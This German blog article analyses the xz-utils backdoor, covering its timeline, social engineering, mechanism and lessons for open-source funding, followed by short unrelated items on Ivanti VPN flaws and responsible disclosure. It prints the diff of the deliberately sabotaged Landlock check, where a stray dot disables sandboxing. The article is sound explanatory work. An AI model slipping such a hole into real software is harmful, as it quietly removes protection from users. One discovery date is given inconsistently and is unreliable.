xz-Backdoor – eine Aufarbeitung

Die kürzlich aufgedeckte Backdoor in der Open Source-Software xz ließ meinen Kollegen Justus Tartz und mich nicht mehr los. Die Thematik ist komplex und hat Implikationen für die Art, wie wir mit Open Source-Software in Zukunft umgehen sollten. Dieser Artikel stellt das Ergebnis unserer Recherchen und Überlegungen dar.

Angriff auf das Internet

Am 28. März 2024 kam es zu einer Beinahe-Kernschmelze in der weltweiten Open-Source-Infrastruktur. Sie wurde (Ehre, wem Ehre gebührt) von Andres Freund, einem der Entwickler von Postgresql und Principal Software Engineer bei Microsoft, verhindert. Ihm fiel auf, dass seine SSH-Anmeldung an einem Linux-Testsystem eine halbe Sekunde länger dauerte als gewöhnlich. Was war passiert?

Blicken wir zurück ins Jahr 2021. Ende Januar dieses Jahres erschien ein neuer GitHub-Account mit dem Namen Jia Tan auf der Bildfläche, der sich ab Ende 2021 aktiv in die Entwicklung der xz Utils einbrachte. xz ist ein Tool, das verlustfreie Datenkompression ermöglicht und in nahezu allen Unix-ähnlichen und damit auch in allen Linux-Systemen zum Einsatz kommt, beispielsweise um den Bootloader vor dem Systemstart zu entpacken. Der Entwickler von xz, Lasse Collin, zeigte sich erfreut über den Enthusiasmus und die damit einhergehende schnelle Weiterentwicklung von xz, welche aufgrund gesundheitlicher Probleme Collins’ bis dahin schon länger nur schleichend vorankam. Spätestens ab dem dritten Quartal des Jahres 2022 hatte Jia Tan in diesem Projekt den Status eines Maintainers, ab Anfang 2023 wurden die ersten eigenen Commits gemerged. Dazu später mehr.

Jia Tan brachte in der Zeit zwischen Anfang 2021 und April 2024 rund 700 Änderungen in den xz-Quellcode ein. Doch nicht nur dort war dieser Account aktiv, auch in anderen Open Source Projekten wie libarchive, die mit xz in enger Abhängigkeit stehen, wurden bereits ab 2021 Änderungen eingebracht. libarchive ist eine Bibliothek zum Packen, Entpacken und Verändern von Archiven wie zip und rar, welche unter anderem auch in Microsoft Windows zum Einsatz kommt.

Als am 28.04.2024 die schlechte Performance des OpenSSH-Servers von Andres Freund bemerkt wurde, wusste er noch nicht, welchen Impact seine Entdeckung haben sollte. Er begann, den sshd-Prozess zu debuggen, um herauszufinden, an welcher Stelle es zu den beobachteten Verzögerungen kam. Ihm fiel auf, dass der Prozess selbst bei fehlerhaften Logins eine bemerkenswert hohe CPU-Last erzeugte und tauchte tiefer in die Abhängigkeiten auf seinem System ein. Die Spur führte ihn zu der Bibliothek liblzma, welche als Teil von xz paketiert wird. Er erinnerte sich, dass er bei automatisierten Tests einige Wochen zuvor eine Warnung von Valgrind, eine Werkzeugsammlung für die dynamische Fehleranalyse, gesehen hatte, die ebenfalls auf diese Library zurückging.

Ein Review des Quellcodes für xz brachte daraufhin zu Tage, dass offensichtlich eine Backdoor hinzugefügt wurde, deren Funktion zu diesem Zeitpunkt noch unklar war. Klar war jedoch, welcher Nutzer die entsprechenden Änderungen gemacht hatte: Jia Tan.

Was folgte war ein aufregendes Oster-Wochenende. Zahlreiche Sicherheitsforscher und Enthusiasten stürzten sich auf den Quellcode und arbeiteten in Rekordzeit heraus, wie die Backdoor implementiert wurde, welche Systeme sie gefährdete, wo sie bereits ausgerollt worden war und wie sie bisher verborgen bleiben konnte. Es zeichnet sich ein Krimi ab, der aufgrund der Länge und der Tiefe der Planung nicht zuletzt den Verdacht weckt, dass hier nicht nur eine kleine Gruppe von bösartigen Hackern oder gar eine Einzelperson am Werk war.

Die manipulierte Version von xz-utils wurde durch die schnelle und öffentliche Bekanntmachung seitens Andres Freund und die ebenso schnelle Reaktion der einzelnen betroffenen Distributionen nur auf wenigen Systemen ausgerollt. Betroffen waren für kurze Zeit Debian unstable/testing, darauf aufbauend Kali Linux sowie Fedora Rawhide und Fedora Linux 40 Beta. Auch der eigentliche Maintainer Lasse Collin reagierte schnell auf die Meldungen und half, den Schaden zu begrenzen. Siehe dazu seine Informationsseite.

Timeline eines Großangriffs

Der folgende Abschnitt basiert grob auf https://research.swtch.com/xz-timeline, um die Ereignisse in eine sinnvolle zeitliche Relation zu setzen.

Ende 2021 reicht der Account Jia Tan seinen ersten kleinen Patch bei der xz-devel Mailingliste ein. Es handelt sich um eine Konfigurationsdatei, die auf lange Sicht dazu dienen sollte, die Lesbarkeit des Codes zu verbessern, indem Code-Editor-Programmen Richtlinien mitgegeben werden, wie sie den Quellcode formatieren und anzeigen sollen. Eine harmlose, aber sinnvolle Änderung, die vom Maintainer, Lasse Collin, übernommen wird.

Zwei weitere Patches folgen jeweils einen Monat und ein halbes Jahr später, die beide ebenso harmlos sind; auch im Nachgang betrachtet scheint es hier eher um das Erlangen von Vertrauen gegangen zu sein, nicht um die direkte Vorbereitung einer bösartigen Implementierung.

Drei Tage nach dem inzwischen vierten Patch von Jia Tan erscheint ein neuer Nutzer auf der Bildfläche: Jigar Kumar. Weder dieser Account noch die zugehörige E-Mail-Adresse tauchten, soweit es sich nachvollziehen lässt, vorher irgendwo auf – weder auf Mailinglisten, noch bei Github oder sonstwo im Internet. Dieser Account macht nun auf der Mailingliste Druck und beklagt sich darüber, dass der letzte Patch von Jia Tan noch immer nicht gemerged (unter “mergen” versteht man das Zusammenführen von Änderungen im Quellcode) sei, und dass die Entwicklungsgeschwindigkeit dieses Projektes viel zu langsam sei. Zu diesem Zeitpunkt hatte Lasse Collins bereits mehrere Patches von Jia Tan gemerged.

Etwa einen Monat später erscheint ein weiterer, bisher nirgendwo in Erscheinung getretener Account in der Mailingliste: Dennis Ens. Dieser stellt die Frage, ob das Projekt überhaupt noch aktiv betreut werde, da der Maintainer (Lasse Collin) oft für lange Zeit keine Patches liefere. Dieser meldet sich daraufhin zurück und deutet an, dass Jia Tan möglicherweise in näherer Zukunft im Projekt eine größere Rolle spielen werde, seine eigenen Ressourcen seien derzeit gebunden.

Wenige Tage darauf tritt wieder Jigar Kumar auf den Plan und beschwert sich, dass weiterhin Patches nicht gemerged seien. Wiederum ein paar Tage darauf macht er im Nachbarthread für die Java-Implementierung von xz Druck und drängt darauf, dass ein neuer Maintainer für das Projekt gefunden werden muss. Er unterstellt, dass Lasse Collin das Interesse an xz verloren habe. Dieser antwortet nur einen Tag später und offenbart, dass er unter Anderem schon länger psychisch erkrankt sei (neben anderen Faktoren, die er offen lässt) und daher keine Möglichkeit habe, zeitnah die offenen Patches zu mergen. Auch hier erwähnt er, dass Jia Tan diesbezüglich in Zukunft möglicherweise mehr Verantwortung übernehmen könnte und erinnert daran, dass xz ein Freizeit-Projekt sei.

Zwei Tage später merged Lasse Collin den ersten Commit (ein Commit ist einfach gesagt eine finale Änderung am Quellcode, oft im Rahmen eines Merge), bei dem Jia Tan erstmals explizit als Autor hinterlegt ist.

In den folgenden zwei Wochen melden sich Jugar Kumar und Dennis Ens wiederholt zu Wort und fordern, schnell einen neuen Maintainer einzusetzen. Jia Tan wird nicht namentlich benannt, steht jedoch als einziger Kandidat im Raum und so ist klar, in welche Richtung die Forderungen zielen. Lasse Collin antwortet, Jia Tan sei faktisch schon Co-Maintainer und entsprechende Änderungen seien bereits auf dem Weg.

Die letzte Wortmeldung der beiden verdächtig frischen Accounts erfolgt weniger als einen Monat nach ihrem ersten Auftreten: Jugar Kumar drängt am 22.06.2022 darauf, dass Jia Tan Maintainer-Rechte bekommt, um selber Commits mergen zu können.

Ab Ende September 2022 scheint Jia Tan endgültig Maintainer-Rechte erlangt zu haben. Der Account postet Release Summaries für die anstehenden xz-Versionen, ist über ein gemeinsames Postfach, auf das beide Maintainer Zugriff haben, erreichbar. In der README des xz-Projekts ist er nun ebenfalls als Maintainer neben Lasse Collin geführt.
Ende 2022 merged der Account Jia Tan schließlich den ersten eigenen Commit, was den Zeitpunkt markiert, an dem der Account nachweislich Commit-Rechte erhalten hat.

Mitte Januar 2023 baut Lasse Collin sein letztes Release 5.4.1 für xz, Mitte März erscheint das erste von Jia Tan selbst gebaute Release 5.4.2. Ebenfalls Mitte März ändert Jia Tan die projektbezogenen Kontaktdaten im Projekt oss-fuzz (ein Tool, das Fuzzing-Techniken nutzt, um Programmierfehler im Quellcode automatisiert zu finden) und setzt seine private Mailadresse als Hauptkontakt für xz ein.

Bis hierhin gab es zwar einige Auffälligkeiten, jedoch keine Hinweise auf eine “feindliche Übernahme”. Das Projekt benötigte in der Tat frischen Wind und das Engagement seitens Jia Tan kam Lasse Collin definitiv nicht ungelegen. Vielleicht klingelten vor allem aus der Aussicht auf eine Nachfolge heraus keine Alarmglocken, vielleicht waren die Auffälligkeiten auch zu unterschwellig – faktisch war bis zu diesem Zeitpunkt (nach aktuellem Erkenntnisstand) noch nichts Auffälliges geschehen, das einen fundierten Verdacht hätte wecken können.

Zwei Tage nach der Änderung der Kontaktdaten bei oss-fuzz betritt ein neuer Account die Bühne: Hans Jansen. Dieser sendet einige Patches an das xz-Projekt, die von Lasse Collin gemerged werden. Auch Hans Jansen ist vorher nirgendwo in Erscheinung getreten, weder in der Entwicklerszene noch irgendwo sonst im Internet. Die Patches implementieren eine neue Abhängigkeit von GNU indirect functions, die es erlauben, die globale Funktionstabelle beim Start des Programms zu verändern, bevor diese schreibgeschützt geladen wird. Ohne Kontext eine Änderung, die harmlos wirkt, denn durch sie kann es durchaus zu Performance-Verbesserungen kommen.

Zwei Wochen darauf reicht Jia Tan im Projekt oss-fuzz einen Commit ein, der die GNU indirect function-Unterstützung in oss-fuzz für die Komponente xz deaktiviert, da es angeblich Inkompatibilitäten mit einem Programmbestandteil von xz gebe. Als Maintainer von xz war diese Änderung nicht auffällig und wurde implementiert. Rückblickend führte das jedoch dazu, dass Auffälligkeiten, die ifunc (kurz für GNU indirect funktion) betrafen, von oss-fuzz für das Projekt xz nicht mehr erkannt werden konnten.

Anfang 2024 verschiebt Jia Tan die bisherige xz-Projektseite auf tukaani.org, die bis dato auf dem privat betriebenen Server von Lasse Collin gehostet wurde, zu GitHub Pages, auf die Zugriff für alle Maintainer bestand. Die URL ändert sich auf xz.tukaani.org, die Änderung war also von Lasse Collin abgesegnet, der diese als Inhaber der Domain veranlassen musste.

Am 22.02.2024 startet die lange vorbereitete Implementierung der Backdoor in xz. Jia Tan lädt manipulierte binäre Test-Files hoch, die auf den ersten Blick harmlos aussehen. Solche Dateien werden für automatisierte Tests verwendet, beispielsweise um zu überprüfen, wie das Programm mit fehlerhaften sowie validen Archiven umgeht.

Einen Tag später baut Jia Tan die Version 5.6.0 von xz und fügt eine manipulierte Datei, build-to-host.m4, im Release-Archiv hinzu. m4-Dateien versorgen üblicherweise das Build-Script mit den korrekten Variablen für die jeweilige Umgebung. In diesem konkreten Fall prüft eine Routine des Scriptes, ob es sich bei dem Zielsystem um Debian (deb) oder RedHat (rpm) handelt und implementiert die händisch gebaute und mit an RC4 angelehnten Algorithmen verborgene Backdoor in den Build-Prozess (dokumentiert ist die Entdeckung beispielsweise hier: https://twitter.com/nugxperience/status/1773906926503591970). Die manipulierte m4-Datei taucht in der xz-Repository nicht auf, was jedoch nicht sonderlich auffällt, da beim Paketieren häufig zusätzliche Dateien erzeugt werden, die dann nur im fertigen Archiv, nicht aber im Quellcode vorliegen.

Am nächsten Tag, dem 24.02.2024, fallen bei xz auf Gentoo, einer Linux-Distribution, die ihre Pakete direkt aus den Sourcecode-Quellen baut und keine Paketierung einsetzt, Fehlermeldungen und Abstürze mit Bezug auf ifunc auf. Der Fehler wird diskutiert, da aber nicht mit den vorgebauten Paketen gearbeitet wird, existiert auch die Backdoor-Implementierung auf den betroffenen Systemen nicht und wird daher nicht entdeckt. Es sieht tatsächlich nach einem Bug in der neuen ifunc-Implementierung aus, die nichts mit der Backdoor zu tun hat.

Ende Februar werden die Backdoor-Versionen 5.6.0-0.1 und 5.6.0-0.2 in Debian unstable übernommen. Zeitgleich wird ein Patch von Jia Tan durch Lasse Collin gemerged, der den Support für Landlock (ein recht junges Security-Modul in Linux) durch einen unauffällig platzierten Fehler im Quellcode bricht. Das Script geht durch diesen Fehler letztendlich davon aus, dass das Zielsystem Landlock nicht unterstützt und deaktiviert die zugehörigen Schutzmechanismen. Entweder übersah Lasse Collin den Fehler oder Jia Tan mergte seinen Commit in dessen Namen, was bei GitHub durchaus möglich ist – nachvollziehen lässt sich das im Nachhinein nicht so einfach.

Einen Tag später schickt der Nutzer Github-User teknoraver (einer der vielen Code-Zulieferer für systemd) einen Pull Request (die Aufforderung an ein git-Projekt, eine bestimmte Änderung zu implementieren) an das systemd-Projekt, der das Linken von liblzma (als Teil des xz-Projekts) in systemd beendet. Die Backdoor setzt aber genau auf diesen Mechanismus; ohne dass liblzma in systemd geladen wird kommt die Backdoor nicht zur Ausführung. Diese Änderungsanfrage führt vermutlich dazu, dass Jia Tan in Zugzwang gerät, um die Backdoor so schnell und so weit wie möglich zu streuen, bevor sie komplett wertlos wird.

Anfang März 2024 fallen bei RedHat-basierenden Linux-Distributionen in Bezug auf xz Valgrind-Fehlermeldungen auf, die in der Funktion _get_cpuid von liblzma ihren Ursprung haben. Unabhängig davon wird der von teknoraver eingereichte Patch zum Entfernen von liblzma aus systemd gemerged.

Noch am selben Tag fügt Debian die mit der Backdoor versehene xz-Version 5.6.0-0.2 zum Debian testing-Branch hinzu.
Ebenfalls am 05.03.2024 committet Jia Tan zwei Bugfixes in das xz-Projekt, die die ifunc-Fehler beheben.

Am 08.03.2024 committet Jia Tan einen vermeintlichen Bugfix für die Valgrind-Thematik, der allerdings wohl eher zur Ablenkung vom eigentlichen Problem dienen soll.

Einen Tag später lädt Jia Tan aktualisierte Testdateien hoch, die nun tatsächlich in Valgrind keinen Fehler mehr auslösen, aber weiterhin die Backdoor beinhalten.
Noch am selben Tag baut Jia Tan die aktualisierte Version 5.6.1 von xz und veröffentlicht diese.

Wir erinnern uns an Hans Jansen: Am 25.03.2024 erscheint er erneut auf der Bildfläche, indem er einen Bugreport bei Debian einstellt, in dem er fordert, dass xz-utils zeitnah auf Version 5.6.1 aktualisiert werden soll. Kurioserweise spricht der Account von “seinem Paket xz“, was den Verdacht nahelegt, dass es sich hinter dem Account um dieselbe Person oder Personengruppe handeln könnte, die auch hinter Jia Tan steckt.

Drei Tage später – am Tag der Entdeckung der Backdoor ­– erstellt auch Jia Tan einen Bugreport, um die Aufnahme von xz 5.6.1-1 in Debian zu beschleunigen. Angesichts der anstehenden systemd-Änderung eine nachvollziehbare Handlung einer Person oder Gruppe, die eine über mehrere Jahre vorbereitete Aktion noch zum Erfolg führen will.

Funktionsweise der Backdoor und Auswirkungen

Vorweg eine kurze Linkliste ohne Anspruch auf Vollständigkeit zu verschiedenen Stellen, an denen Erkenntnisse und Analysen zur xz-Backdoor zentral gesammelt und aufbereitet wurden:

https://github.com/amlweems/xzbot
https://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27
https://boehs.org/node/everything-i-know-about-the-xz-backdoor
https://en.wikipedia.org/wiki/XZ_Utils_backdoor

Die Backdoor selbst wurde kurz nach Bekanntwerden ihrer Existenz durch diverse Sicherheitsforscher analysiert (Beispielsweise hier: https://bsky.app/profile/filippo.abyssdomain.expert/post/3kowjkx2njy2b). Schon recht früh wurde klar, dass sie sich auf den OpenSSH-Daemon sshd auswirkte; der genaue Wirkmechanismus war anfangs unklar und so ging man vorerst von einem Aushebeln der Authentisierungsmechanismen (Authentication Bypass) aus, was nach wie vor nicht endgültig vom Tisch sein dürfte, da die genaue Funktionsweise der Backdoor bis heute noch analysiert wird. Es zeigte sich jedoch schnell, dass die Backdoor deutlich tiefer ging. Es handelte es sich nach ersten Erkenntnissen primär um keinen Authentication Bypass. Die Backdoor stellte sich vielmehr als eine clever implementierte Unauthenticated Remote Code Execution (RCE, Codeausführung auf einem entfernten System) dar.

Grob gesagt funktioniert die Backdoor (nach aktuellem Wissensstand) so: Der Angreifer meldet sich via SSH mit seinem Public Key an. OpenSSH prüft neben der Berechtigung für die Anmeldung zusätzlich auch noch den präsentierten Public Key sowie die Zertifikatskette dahinter. Genau hier hakt sich die Backdoor ein, indem der Funktionsaufruf zu RSA_public_decrypt via ifunc auf die eigene Schadroutine umgeleitet wird. Diese extrahiert eine im Public Key (genauer: im CA Signing Key) verborgene Anweisung, prüft, ob diese vom Angreifer signiert ist und führt letztendlich die extrahierte Anweisung auf dem Zielsystem aus. Das Ganze geschieht vor der eigentlichen Anmeldung am System und ist so in den Logs nahezu unsichtbar; man sieht maximal den Anmeldeversuch, der aber nicht erfolgreich ist, darüber hinaus werden keine Log-Meldungen generiert.

Die Backdoor als solche wäre auch im laufenden Betrieb nicht erkennbar gewesen. Hätte es nicht die beobachtete Verzögerung bei der Public Key-Anmeldung gegeben, wäre sie vermutlich so bald nicht aufgefallen. Wer sich mit einem nicht vom Angreifer stammenden Public Key anmeldet, sieht nur das ganz normale Verhalten des sshd-Daemons. Nur mit dem richtigen Key und einer versteckten Payload wird die Backdoor aktiviert. Von außen ließe sie sich auf diese Art nicht erkennen.

Und auch wenn die Backdoor letztendlich über SSH aktiviert wird, ist das OpenSSH-Projekt selber außen vor. Es wurden Distributions-spezifische Abhängigkeiten genutzt, die sich bis zum sshd-Prozess auswirkten, die OpenSSH-Entwickler selber hätten nur wenig tun können, um diesen Angriffsvektor im Vorfeld zu verhindern.

Die Auswirkungen, wäre die Backdoor nicht durch Zufall rechtzeitig erkannt worden, könnten kaum schlimmer sein: Große Teile der im Internet betriebenen Linux-Server wären betroffen gewesen. Der oder die Angreifer hätten mit einem Schlag viele wichtige Dienste lahmlegen oder kompromittieren können. Sicher, nicht jeder Linux-Server basiert auf Debian oder RedHat, aber eben doch die Mehrheit. Laut einer Ende 2023 auf heise.de veröffentlichten Trendstudie dominieren Debian– und RedHat-Derivate die Serverlandschaft, das lässt sich zumindest ansatzweise auf das gesamte Internet extrapolieren. Ein Angreifer mit Kontrolle über diese Masse an Servern hätte eine unglaubliche Macht in den Händen. Auch daher wird häufig der Verdacht geäußert, es könne sich unter Umständen um eine Aktion handeln, die staatlich finanziert oder umgesetzt worden sein könnte. Welcher Staat im Genauen dabei beteiligt sein soll bleibt offen. Der asiatisch anmutende, aber in sich nicht ganz stimmige Accountname Jia Tan, die Commit-Zeiten, die in Mailinglisten sichtbare Zeitzone und der für Zugriffe verwendete VPN-Dienst werfen jedenfalls Zweifel auf. Auch die anderen vermutlich beteiligten Accounts, die auf unterschiedliche Herkunft schließen lassen würden, zeichnen eher das Bild einer geplanten Täuschung und Verschleierung. Die zuweilen aufbrandende Sinophobie im Kontext dieses Vorfalls könnte Teil des Kalküls für den Fall eines Fehlschlags gewesen sein.

A propos Kalkül: bisher ist definitiv noch nicht alles aufgearbeitet und erforscht, was im Rahmen dieses Vorfalls geschehen ist. die nächsten Wochen und Monate werden zeigen, ob der oder die Täter auch an anderer Stelle an der Untergrabung der Open Source-Community gearbeitet haben. One down, many to go, oder war das schon das Ende?

Es ist zudem nicht gänzlich unwahrscheinlich, dass noch weitere Funktionen der bisher entdeckten Backdoor zutage treten und dass vielleicht doch noch eine Umgehung der Anmeldeprozesse für eine direkte Systemanmeldung entdeckt wird. Erst kürzlich wurden einige der bereits verlinkten Artikel über die Backdoor um Informationen ergänzt, sie enthalte einen “kill switch”, also eine Funktion, mit der man die Backdoor mit einem gezielten Befehl permanent deaktivieren könne.

Ursachen und Gegenmaßnahmen

Bei der xz-Backdoor handelt es sich um eine gut abgestimmte und raffinierte Kombination aus technischem Verständnis und lange geplantem Social Engineering. Der oder die Angreifer hinter den Pseudonymen Jia Tan (auch: JiaT75, Jia Cheong Tan), Jigar Kumar, Dennis Ens und Hans Jansen kannten sich offenbar gut mit den Interna von xz sowie den Linux-Build-Prozessen, systemd, Valgrind, os-fuzz, OpenSSH und den Funktionsweisen von ifunc und Landlock aus. Die Wahl des xz-utils Pakets wird mit Sicherheit auch nicht zufällig erfolgt sein, denn dass mittels xz der sshd-Prozess angreifbar ist, wird einiges an Forschung vorausgesetzt haben, insbesondere da die Abhängigkeit nicht über das OpenSSH Projekt besteht, sondern nur durch inoffizielle Patches der OpenSSH-Paketmaintainer der betroffenen Distributionen.

Dass die Änderungen im Quellcode nicht oder nicht ausreichend aufgefallen sind, liegt mit Sicherheit zu großen Teilen an der kleinen Menge an Entwicklern, die sich den Code der xz-utils überhaupt anschauen beziehungsweise diesen verstehen. Das Einsetzen des “Wolfs im Schafspelz” als Maintainer tut sein Übriges. Wer kaum befürchten muss, dass seine zugegebenermaßen auch gut verborgene Backdoor durch Dritte entdeckt wird und sie selber direkt in die Builds integrieren kann, hat nahezu freie Hand. Dass ein kleines privates Projekt die Grundlage für weltweit verwendete Infrastruktur darstellt, ist tatsächlich gar nicht so selten und wurde sogar bereits vor einigen Jahren sehr anschaulich von XKCD aufgegriffen. Es könnte gerade nicht besser passen. Aktuell werden jedenfalls ziemlich viele Maintainer ihre Hobby-Projekte, die so wichtige Zahnräder im Großen und Ganzen sind, noch einmal ganz genau in Augenschein nehmen.

Einer der wichtigsten Punkte ist hier allerdings das erfolgreiche und offenbar über Jahre geplante Social Engineering. Ein überlasteter Entwickler, kaum Bewegung im Projekt, da fällt es leicht, sich in eine Position zu manövrieren, in der man durch geschicktes Ausnutzen der Notlage Vertrauen gewinnt. Der punktuell von vermeintlich unbeteiligten Accounts aufgebaute Druck auf den Maintainer war jedenfalls Kalkül, um den einzuschleusenden Account schnell in eine Maintainer-Position zu bringen.

Bestimmte Änderungen im Code, wie das Entfernen von Sicherheitsmaßnahmen oder das Verwenden unsicherer Funktionen, könnte man noch automatisch im Build-Prozess verhindern, doch an irgendeiner Stelle greifen auch diese Mechanismen nicht mehr. Insbesondere in diesem Fall hätten Automatismen wenig Erfolg, da diese ebenso unter Kontrolle der Maintainer und somit auch den Angreifern stehen. Spätestens bei verschleiertem Code, bei Fremd-Abhängigkeiten oder bei Sicherheitslücken, die den Prüfmechanismen noch nicht bekannt sind, kommen Automatismen an ihre Grenzen und es müsste ein Mensch den Code beziehungsweise die Änderungen bewerten.

Das hätte geschehen können, doch zum Einen war der einzige Mensch, der im aktuellen Fall dazu in der Lage gewesen wäre, aus gesundheitlichen Gründen weniger involviert und zum Anderen gehen kleine Fehler im Review-Prozess häufig unter. Oder hätten Sie den Punkt auf Zeile 15 (zwischen den includes und der Funktion my_sandbox) in den folgenden Änderungen auf Anhieb gefunden?

diff
--- a/CMakeLists.txt
+++ b/CMakeLists.txt
@@ -901,10 +901,29 @@ endif()
 # Sandboxing: Landlock
 if(NOT SANDBOX_FOUND AND ENABLE_SANDBOX MATCHES "^ON$|^landlock$")
-    check_include_file(linux/landlock.h HAVE_LINUX_LANDLOCK_H)
+    # A compile check is done here because some systems have
+    # linux/landlock.h, but do not have the syscalls defined
+    # in order to actually use Linux Landlock.
+    check_c_source_compiles("
+        #include <linux/landlock.h>
+        #include <sys/syscall.h>
+        #include <sys/prctl.h>
+.
+        void my_sandbox(void)
+        {
+            (void)prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
+            (void)SYS_landlock_create_ruleset;
+            (void)SYS_landlock_restrict_self;
+            (void)LANDLOCK_CREATE_RULESET_VERSION;
+            return;
+        }
+
+        int main(void) { return 0; }
+        "
+    HAVE_LINUX_LANDLOCK)
-    if(HAVE_LINUX_LANDLOCK_H)
-        set(SANDBOX_COMPILE_DEFINITION "HAVE_LINUX_LANDLOCK_H")
+    if(HAVE_LINUX_LANDLOCK)
+        set(SANDBOX_COMPILE_DEFINITION "HAVE_LINUX_LANDLOCK")
         set(SANDBOX_FOUND ON)
         # Of our three sandbox methods, only Landlock is incompatible

Ein weiteres Problem bei git-Repositories ist, dass die gewählten Namen und E-Mail Adressen frei wählbar sind. Das bedeutet, dass die Möglichkeit besteht, dass Jia Tan Commits unter dem Namen des eigentlichen Maintainers Lasse Collin hätte verfassen können. So ist es im Nachhinein kompliziert aufzudröseln, welche Änderungen von Jia Tan kommen und welche nicht. Die Lösung von git für dieses Problem ist das Commit Signing. In der Praxis überprüfen das jedoch nur wenige Menschen die Signaturen und nur ein Bruchteil der Entwickler nutzt diese Funktion. So fällt ein unsignierter Commit nicht auf und es schützt auch nicht vor Änderungen, die nicht unter fremder Identität stattgefunden haben. Signierte Commits können jedoch nach einer bekannten Kompromittierung eines Projektes zu verstehen helfen, welche Änderungen legitim und welche bösartig waren.

Dass derart wichtige Projekte, die die Grundlage für nahezu alle unixoiden Betriebssysteme darstellen, nicht ausreichend öffentlich gefördert werden, ist eine Schande. Eine Schande, die wir alle mitzuverantworten haben. Wir haben uns viel zu lang auf das Open-Source-Prinzip verlassen, glaubten, dass die Möglichkeit, dass jeder mitarbeiten kann, auch bedeutet, dass jeder mitarbeitet. Das Gegenteil ist der Fall. Während bei Großprojekten wie dem Linux-Kernel oder den GUI-Frameworks ausreichend öffentliches Interesse besteht, dass sich dort viele Entwickler beteiligen, greift dieses Prinzip gerade bei den kleinen Kernbibliotheken und Tools nicht, die die Grundlage für die gesamte Infrastruktur darstellen. Oft sind es wie im aktuellen Fall einzelne Entwickler, die ein Programm seit Jahrzehnten im Alleingang entwickeln – meist in der knapp bemessenen Freizeit. Meist getrieben von Anforderungen der darauf aufbauenden Strukturen und damit immer im Zugzwang. Alles unentgeltlich. Selbstverständlich.

Da ist es auch nicht hilfreich, wenn Großkonzerne die Ihre Produkte auf dem Rücken von kleineren Projekten aufbauen, diese nicht nur nicht fördern, sondern gleichzeitig das Einhalten von nie mit den Maintainern vereinbarten SLA-Zeiten einfordern, als handle es sich um eine Lieferantenbeziehung. So ist kürzlich erst Microsoft negativ aufgefallen bei einem Ticket im ffmpeg Projekt, welches unter anderem Verwendung innerhalb von Microsoft Teams findet. Doch was ist die Lösung? Gezielte und geplante Kompromittierungsversuche in FOSS Projekten stellen weniger ein technisches als vielmehr ein soziales Problem dar. Firmen sollten die kleinen Projekte, von denen sie abhängig sind, identifizieren und diese fördern. Finanzielle Unterstützung ist immer gut, aber auch schon Hilfe beim Review von Änderungen und dem Abarbeiten von Tickets kann gerade für kleine Projekte eine große Wirkung haben. Dies kann einem Maintainer eventuell gerade so viel Arbeit abnehmen, dass dieser weniger anfällig für sozialen Druck ist und mehr Energie hat, sich auf andere Aspekte des Projekts zu fokussieren. Mehr Augen auf dem Projekt bilden zudem eine zusätzliche Sicherheitsschicht, die ein Angreifer erst einmal überwinden muss.

Ivantis VPN-Software von neuen Schwachstellen heimgesucht

Der erste Blick in den Eierkorb führt uns zu Ivanti mit ihrer VPN-Software: Nachdem am 10. Januar durch den Hersteller zwei Sicherheitslücken veröffentlicht wurden, sind nun am 31. Januar zwei weitere Schwachstellen entdeckt worden. Diese werden seit geraumer Zeit aktiv ausgenutzt. Die neuen Lücken sind mit dem Patch der älteren Schwachstellen aufgetaucht und wurden mit den Updates direkt mitgeflickt.

Besonders problematisch ist die Kombination der ersten beiden Schwachstellen. Damit wird es möglich, willkürliche Kommandos auf den Systemen auszuführen. Während die erste Schwachstelle einen Authentication-Bypass in der Webkomponente von Ivanti ICS und Policy Secure ermöglicht, kann man bei der zweiten Schwachstelle eine Command-Injection in den Webkomponenten von Ivanti Connect Secure und Policy Secure vornehmen. Diese Kombination aus Rechteerlangung und Remote Execution ist äußerst problematisch.

Die durch Ivanti zur Verfügung gestellten Updates bieten vorläufige Gegenmaßnahmen für den alten Angriffsvektor sowie gegen die neu gefundenen Lücken. Patchen Sie als Kunde von Ivanti Ihre Produkte so schnell wie möglich!

Mit den weiteren gefundenen Schwachstellen kommen eine Privilege Escalation sowie eine Server Side Request Forgery dazu. Die SSRF-Schwachstelle, die Zugriff auf bestimmte Ressourcen ohne Authentifizierung erlaubt, wird bereits aktiv ausgenutzt. Das BSI erwartet eine steigende Verwendung dieser Sicherheitslücke.

Ausgenutzt werden die Schwachstellen derzeit von verschiedenen Akteuren, darunter die Gruppe UTA0178. Ziele der Angreifer sind häufig Regierungen, Telekommunikationsunternehmen, Verteidigungsunternehmen und Fortune-500-Unternehmen weltweit. Die Entdeckung dieser Vielzahl an Zero-Days, gepaart mit dem beobachteten Verhalten der Angreifer und der Wahl der Zielorganisationen lassen auf Threat-Actors schließen, die über weitreichende Ressourcen und Kenntnisse verfügen.

 Eine Prüfung auf eine Kompromittierung ist beim Einsatz der Ivanti-Produkte in allen Fällen notwendig.

Die letzte Meldung auf heise finden Sie hier:

https://www.heise.de/news/Ivanti-Neues-ausgenutztesSicherheitsleck-Updates-endlich-verfuegbar-9615184.html

Einen technischen Deep-Dive zu den Schwachstellen finden Sie hier:

https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation

Veröffentlichen, aber verantwortungsvoll: Responsible Disclosure

Findet man eine Sicherheitslücke, dann sollte man sie verantwortungsvoll veröffentlichen (Responsible Disclosure). Aber was ist verantwortungsvoll – und wem gegenüber? In der Regel kommen ja verschiedene Interessenlagen zusammen: Die Nutzer der betroffenen Anwendung wollen so schnell wie möglich davon erfahren und hätten gern auch Details, um das Risiko und mögliche Gegenmaßnahmen bewerten zu können. Der Hersteller dagegen hätte gern einen zeitlichen Vorsprung, um vor dem öffentlichen Bekanntwerden bereits eine Lösung vorzubereiten. Das sind aber noch nicht alle Beteiligten im Spiel: Der Entdecker will eigentlich nicht viel zusätzliche Arbeit haben und unbezahlt die Qualitätssicherung für den Hersteller übernehmen. Da sich aber gefundene Sicherheitslücken auch gut im Lebenslauf machen, will er die Lücke möglichst schnell und öffentlichkeitswirksam publik machen. Die Angreifer freuen sich am meisten, wenn außer ihnen niemand oder nur wenige von der Lücke wissen, das Thema also möglichst spät und mit möglichst wenig Tamtam öffentlich wird.

